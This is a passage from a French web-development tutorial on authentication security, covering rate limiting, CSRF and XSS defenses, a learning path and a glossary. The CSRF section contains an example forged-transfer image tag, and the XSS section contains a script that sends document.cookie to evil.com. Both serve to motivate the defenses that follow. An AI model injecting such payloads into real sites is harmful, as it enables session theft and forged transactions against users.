    # Vérifier le mot de passe
    user = db.get_user_by_username(username)
    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # Connexion réussie, réinitialiser le compteur
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # Échec de connexion, enregistrer
        record_login_attempt(username)
        return {"error": "Nom d'utilisateur ou mot de passe incorrect"}, 401

5.3 Protection anti-CSRF (Cross-Site Request Forgery) ​

Scénario d'attaque : Vous êtes connecté au site bancaire bank.com, puis vous visitez le site malveillant evil.com. La page de evil.com contient ce code :

html
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />

Votre navigateur envoie cette requête avec les Cookies de la banque (requête cross-origin), entraînant un transfert de fonds.

Mesures de défense :

  1. CSRF Token :
    • Le serveur génère un Token aléatoire, placé dans le formulaire.
    • Vérifier la correspondance du Token lors de la soumission.
python
from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # Vérifier le CSRF Token
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token invalide"}, 403

    # Exécuter le transfert
    ...
  1. SameSite Cookie :
    • Définir l'attribut SameSite du Cookie sur Strict ou Lax.
python
# Exemple Flask
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # ou 'Strict'
    SESSION_COOKIE_SECURE=True      # Autoriser uniquement HTTPS
)
  1. Utiliser JWT (sans Cookie) :
    • Les JWT sont stockés dans localStorage, ne sont pas envoyés automatiquement, protégés naturellement contre CSRF.
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

5.4 Protection anti-XSS (Cross-Site Scripting) ​

Scénario d'attaque : Un utilisateur malveillant saisit dans la section commentaires :

html
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

Si le site rend ce contenu directement, les Cookies des autres utilisateurs seront volés.

Mesures de défense :

  1. Échappement de sortie :
    • Convertir < en &lt;, > en &gt;.
python
import html

def render_comment(comment):
    # Échapper le HTML
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  1. Content Security Policy (CSP) :
    • Définir l'en-tête HTTP pour restreindre les sources de scripts.
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  1. HttpOnly Cookie :
    • Définir l'attribut HttpOnly du Cookie, JavaScript ne peut pas le lire.
python
app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

6. Résumé et parcours d'apprentissage ​

L'authentification est une « compétence fondamentale » des systèmes backend — sa maîtrise est indispensable pour construire des applications sécurisées et fiables.

6.1 Connaissances essentielles ​

ConnaissanceImportanceDifficultéFréquence pratique
Session + Cookie⭐⭐⭐⭐MoyenneÉlevée
JWT⭐⭐⭐⭐⭐FaibleTrès élevée
OAuth 2.0⭐⭐⭐⭐ÉlevéeÉlevée
Hachage de mot de passe (bcrypt)⭐⭐⭐⭐⭐FaibleTrès élevée
Rate limiting et anti-force brute⭐⭐⭐⭐⭐MoyenneTrès élevée
Défense CSRF⭐⭐⭐⭐MoyenneMoyenne
Défense XSS⭐⭐⭐⭐FaibleÉlevée

6.2 Parcours d'apprentissage ​

  1. Débutant (1-2 jours) :

    • Comprendre la différence entre authentification et autorisation.
    • Maîtriser le principe de Session + Cookie.
    • Implémenter une fonctionnalité simple d'inscription et de connexion.
  2. Intermédiaire (1 semaine) :

    • Apprendre le principe et l'implémentation de JWT.
    • Implémenter un système d'authentification basé sur JWT.
    • Maîtriser le hachage de mot de passe (bcrypt).
  3. Pratique (2-4 semaines) :

    • Intégrer OAuth 2.0 (connexion WeChat, Google).
    • Implémenter le rate limiting et la protection anti-force brute.
    • Se défendre contre les attaques courantes comme CSRF et XSS.
  4. Approfondissement (continu) :

    • Apprendre le RBAC (contrôle d'accès basé sur les rôles).
    • Étudier le SSO (Single Sign-On).
    • Explorer le Zero Trust Architecture (architecture zéro confiance).

6.3 Ressources recommandées ​

  • Standards :
    • RFC 6749 (OAuth 2.0)
    • RFC 7519 (JWT)
  • Articles :
    • JWT.io : https://jwt.io/
    • OAuth 2.0 : https://oauth.net/2/
  • Outils :
    • jwt.io (débogage JWT en ligne)
    • Postman (test d'API)

7. Glossaire ​

TermeNom completExplication
AuthNAuthenticationAuthentification. Confirmer « qui vous êtes » (ex. vérifier l'identité par mot de passe).
AuthZAuthorizationAutorisation. Confirmer « ce que vous pouvez faire » (ex. seul l'administrateur peut supprimer).
Session-Session. Informations d'état utilisateur stockées côté serveur.
Cookie-Cookie. Petite donnée stockée par le navigateur, automatiquement envoyée à chaque requête.
JWTJSON Web TokenJeton Web JSON. Solution d'authentification sans état composée de trois parties : Header, Payload, Signature.
OAuth 2.0-Autorisation ouverte. Framework standardisé pour la connexion tierce (ex. « Se connecter avec WeChat »).
SSOSingle Sign-OnAuthentification unique. Se connecter une fois pour accéder à plusieurs applications (ex. compte Google).
RBACRole-Based Access ControlContrôle d'accès basé sur les rôles. Déterminer les permissions selon le rôle de l'utilisateur (admin, user).
CSRFCross-Site Request ForgeryFalsification de requête inter-sites. L'attaquant incite l'utilisateur à envoyer une requête malveillante.
XSSCross-Site ScriptingScript inter-sites. L'attaquant injecte un script malveillant dans une page web (ex. vol de Cookie).
bcrypt-Algorithme de hachage de mot de passe. Hachage lent conçu pour le stockage des mots de passe, anti-force brute.
Access Token-Jeton d'accès. Jeton à courte durée de validité, utilisé pour accéder aux API.
Refresh Token-Jeton de rafraîchissement. Jeton à longue durée de validité, utilisé pour obtenir un nouvel Access Token.
Scope-Portée des permissions. Concept OAuth 2.0 indiquant les permissions demandées par l'application tierce.
PKCEProof Key for Code ExchangeClé de preuve pour l'échange de code. Extension OAuth 2.0 pour le renforcement de la sécurité des clients publics (ex. SPA).
Edit this page on GitHub
Pager
Page précédenteSérialisation : la "traduction" des données
Page suivanteConcurrence, asynchrone et multithreading

京ICP备2026002630号-1 | 京公网安备11010602202215号

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 进行许可